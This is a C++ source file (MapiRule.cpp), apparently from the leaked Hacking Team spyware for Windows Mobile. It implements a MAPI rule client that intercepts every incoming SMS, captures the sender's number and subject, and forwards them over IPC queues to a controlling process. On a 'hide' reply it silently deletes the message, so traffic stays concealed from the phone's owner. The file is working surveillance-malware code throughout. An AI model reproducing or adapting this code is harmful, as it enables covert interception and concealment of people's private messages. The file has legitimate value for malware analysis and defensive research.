hackedteam/core-winmobile

View on GitHub
SmsFilter/MapiRule.cpp

Summary

Maintainability
Test Coverage
#define INITGUID
#include <windows.h>
#include <cemapi.h>
#include "MapiRule.h"
#include "IPCQueue.h"
#include "IPCMsg.h"

void DebugTrace(const PWCHAR pwMsg, const PWCHAR pwFileName, const PWCHAR pwFunction, const UINT uLine, UINT uPriority, BOOL bLastError) {
#ifdef _DEBUG
#pragma message(__LOC__"DebugTrace attivo!")
    DWORD dwLastErr;
    
    dwLastErr = GetLastError();
    
    string strMsg;
    char buffer[500];
    SYSTEMTIME systemTime;
    DWORD dwWritten, dwTime = GetTickCount();

    GetSystemTime(&systemTime);

    // Versione per il log su File
    if (pwMsg == NULL)
        return;

    HANDLE hFile = CreateFile(L"\\BDSMSRunLog.txt", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        DBG_ERROR_VAL(GetLastError(), L"CreateFile()");
        return;
    }

    SetFilePointer(hFile, 0, NULL, FILE_END);

    sprintf(buffer, "Day: %02d - %02d:%02d:%02d:%04d - %S", systemTime.wDay, systemTime.wHour, systemTime.wMinute, 
        systemTime.wSecond, systemTime.wMilliseconds, pwMsg);

    strMsg = buffer;
    
    if (bLastError) {
        sprintf(buffer, "GetLastError(): 0x%08x ", dwLastErr);
        strMsg += buffer;
    }

    strMsg.resize(strMsg.size() - 1);
    strMsg += "\r\n";

    if (WriteFile(hFile, (void *)strMsg.c_str(), strMsg.size(), &dwWritten, NULL) == FALSE) {
        DBG_ERROR_VAL(GetLastError(), L"WriteFile()");
    }

    CloseHandle(hFile);
    return;
#endif // _DEBUG
}

void DebugTraceInt(const PWCHAR pwMsg, const PWCHAR pwFileName, const PWCHAR pwFunction, const UINT uLine, UINT uPriority, BOOL bLastError, INT iVal) {
#ifdef _DEBUG
#pragma message(__LOC__"DebugTraceInt attivo!")
    wstringstream out;
    wstring strMsg = pwMsg;

    out << std::hex;
    out << iVal;

    strMsg += L"[iVal: 0x";
    strMsg += out.str();

    if (bLastError)
        strMsg += L"] ";
    else
        strMsg += L"]\r\n";
    
    DebugTrace((PWCHAR)strMsg.c_str(), pwFileName, pwFunction, uLine, uPriority, bLastError);
#endif
}

// IpcQueueLocalSA

CMailRuleClient::CMailRuleClient()
: m_qRead(NULL), m_qWrite(NULL)
{
}

CMailRuleClient::~CMailRuleClient()
{
  if (m_qRead)
    delete m_qRead;

  if (m_qWrite)
    delete m_qWrite;
}

/**
 *    QueryInterface
 **/
HRESULT CMailRuleClient::QueryInterface(REFIID rif, void** ppobj)
{
    if (!ppobj)
        return E_INVALIDARG;

    *ppobj = NULL;

    if ((rif == IID_IUnknown) || (rif == IID_IMailRuleClient)) {
        *ppobj = (LPVOID) this;
    }

    if (*ppobj)
        ((LPUNKNOWN)*ppobj)->AddRef();

    return (*ppobj) ? S_OK : E_NOINTERFACE;
}

ULONG CMailRuleClient::AddRef()
{
    return InterlockedIncrement(&m_cRef);
}

ULONG CMailRuleClient::Release()
{
    InterlockedDecrement(&m_cRef);

    int nLocal = m_cRef;

    if (!m_cRef)
        delete this;

    return nLocal;
}

#define CLSID_KEY TEXT("\\CLSID\\{DD69A982-6C70-4a55-8BE4-6B32A1F9A527}")
HRESULT CMailRuleClient::Initialize(IMsgStore *pMsgStore, MRCACCESS *pmaDesidered)
{
    DBG_TRACE(L"Initializing queues.", DBG_NOTIFY, FALSE);
    
    *pmaDesidered = MRC_ACCESS_WRITE;
    
    HKEY hKey;
    
    ZeroMemory(this->m_wszServiceProvider, sizeof(m_wszServiceProvider));
    m_cInitialized = false;

    if (RegOpenKeyEx(HKEY_CLASSES_ROOT, TEXT("\\CLSID\\{DD69A982-6C70-4a55-8BE4-6B32A1F9A527}"), 0, 0, &hKey) == ERROR_SUCCESS) {
        DWORD dwType, cData = sizeof(this->m_wszServiceProvider) * 2;

        RegQueryValueEx(hKey, TEXT("Service Provider"), 0, &dwType, (LPBYTE)this->m_wszServiceProvider, &cData);

        RegCloseKey(hKey);
        m_cInitialized = true;
    }

    UINT i = 0;
    while ( i < 5 )
    {
        m_qRead = new IPCQueue(L"IpcQueueLocalSAW", true);
        if (m_qRead == NULL)
        {
            //MessageBox(NULL, L"Cannot create Write queue. Retrying in 2 secs", L"DEBUG", MB_OK);
            Sleep(2000);
        }
        else
            break;
    }

    while ( i < 5 )
    { 
        m_qWrite = new IPCQueue(L"IpcQueueLocalSAR", false);
        if (m_qWrite == NULL)
        {
            // MessageBox(NULL, L"Cannot create Read queue. Retrying in 2 secs", L"DEBUG", MB_OK);
            Sleep(2000);
        }
        else
            break;
    }

    if (m_qRead->Open() == false)
    {
        DBG_TRACE(L"Cannot open Read queue.", DBG_CRITICAL, FALSE);
        return E_FAIL;
    }

    if (m_qWrite->Open() == false)
    {
        DBG_TRACE(L"Cannot open Write queue.", DBG_CRITICAL, FALSE);
        return E_FAIL;
    }
    
    DBG_TRACE(L"Queue inited.", DBG_NOTIFY, FALSE);
    
    return S_OK;
}

HRESULT CMailRuleClient::DeleteMessage(
        IMsgStore *pMsgStore, 
        IMessage *pMsg, 
        ULONG cbMsg, 
        LPENTRYID lpMsg, 
        ULONG cbDestFolder, 
        LPENTRYID lpDestFolder, 
        ULONG *pulEventType, 
        MRCHANDLED *pHandled)
{
    HRESULT hr = S_OK;
    ENTRYLIST lst;
    SBinary sbin;
    IMAPIFolder *pFolder = NULL;
    
    hr = pMsgStore->OpenEntry(cbDestFolder, lpDestFolder, NULL, 0, NULL, (LPUNKNOWN *) &pFolder);
    if (FAILED(hr)) {
        DBG_TRACE(L"Failed opening message entry.", DBG_HIGH, TRUE);
        return hr;
    }
    
    lst.cValues = 1;
    sbin.cb = cbMsg;
    sbin.lpb = (LPBYTE) lpMsg;
    lst.lpbin = &sbin;
    
    hr = pFolder->DeleteMessages(&lst, NULL, NULL, 0);
    if (FAILED(hr)) {
        DBG_TRACE(L"Failed deleting messages.", DBG_HIGH, TRUE);
        *pulEventType = fnevObjectDeleted;
        *pHandled = MRC_HANDLED_DONTCONTINUE;
    }
    
    if (pFolder)
        pFolder->Release();

    DBG_TRACE(L"Message deleted.", DBG_NOTIFY, FALSE);
    
    return hr;
}

HRESULT CMailRuleClient::ProcessMessage(
                                        IMsgStore *pMsgStore, 
                                        ULONG cbMsg, 
                                        LPENTRYID lpMsg,  
                                        ULONG cbDestFolder, 
                                        LPENTRYID lpDestFolder, 
                                        ULONG *pulEventType, 
                                        MRCHANDLED *pHandled)
{
    HRESULT hr = S_OK;
    IMessage *pMsg = NULL;
    SizedSPropTagArray(1, sptaSubject) = { 1, PR_SUBJECT };
    SizedSPropTagArray(1, sptaSenderEmailAddress) = { 1, PR_SENDER_EMAIL_ADDRESS };
    ULONG cValues = 0;
    SPropValue *pspvSubject = NULL;
    SPropValue *pspvSenderEmailAddress = NULL;

    if (this->m_cInitialized == false)
        return hr;

    //
    // open message
    //
    hr = pMsgStore->OpenEntry(cbMsg, lpMsg, NULL, 0, NULL, (LPUNKNOWN *) &pMsg);
    if (FAILED(hr)) {
        DBG_TRACE(L"Failed opening message.", DBG_CRITICAL, TRUE);
        return hr;
    }
    
    //
    // get message properties
    //
    LPWSTR lpwSubject = NULL;
    hr = pMsg->GetProps((SPropTagArray *) &sptaSubject, MAPI_UNICODE, &cValues, &pspvSubject);

    if (FAILED(hr))
        DBG_TRACE(L"Failed getting subject.", DBG_HIGH, FALSE);
    else
        lpwSubject = pspvSubject->Value.lpszW;
    
    LPWSTR lpwPhoneNumber = NULL;
    hr = pMsg->GetProps((SPropTagArray *) &sptaSenderEmailAddress, MAPI_UNICODE, &cValues, &pspvSenderEmailAddress);
    if (FAILED(hr))
        DBG_TRACE(L"Failed getting sender address.", DBG_HIGH, FALSE);
    else
        lpwPhoneNumber = pspvSenderEmailAddress->Value.lpszW;
    
    DBG_TRACE(L"Sender phone number:", DBG_CRITICAL, FALSE);
    DBG_TRACE(lpwPhoneNumber, DBG_CRITICAL, FALSE);
    
    //
    // write message to queue
    //
    IPCMsg* msg = new IPCMsg(lpwPhoneNumber, lpwSubject);
    if (m_qWrite->WriteMessage(msg) == false)
    {
        DBG_TRACE(L"Write failed", DBG_HIGH, FALSE);
        return S_OK;
    }
    
    DBG_TRACE(L"Message written to queue.", DBG_NOTIFY, FALSE);
    
    //
    // wait for reply
    //
    IPCMsg* msgReply = m_qRead->WaitForReply();
    DWORD dwReply = IPC_PROCESS;

    if (msgReply) {
        dwReply = msgReply->Reply();
    } else {
        DBG_TRACE(L"No reply, assuming default (PROCESS)\n", DBG_HIGH, FALSE);
    }
    
    WCHAR lpwStr[256] = {0};
    // ZeroMemory(lpwStr, 256 * sizeof(WCHAR));

    switch(dwReply)
    {
    case IPC_HIDE:
        this->DeleteMessage(pMsgStore, pMsg, cbMsg, lpMsg, cbDestFolder, lpDestFolder, pulEventType, pHandled);

        if (pMsg)
            pMsg->Release();

        DBG_TRACE(L"Message deleted", DBG_NOTIFY, FALSE);
        break;
    
    case IPC_PROCESS:
    default:
        DBG_TRACE(L"Message accepted", DBG_NOTIFY, FALSE);
        // do nothing
        break;
    }
    
    if (msgReply)
        delete msgReply;
    
    DBG_TRACE(L"processing completed.", DBG_NOTIFY, FALSE);
    return S_OK;
}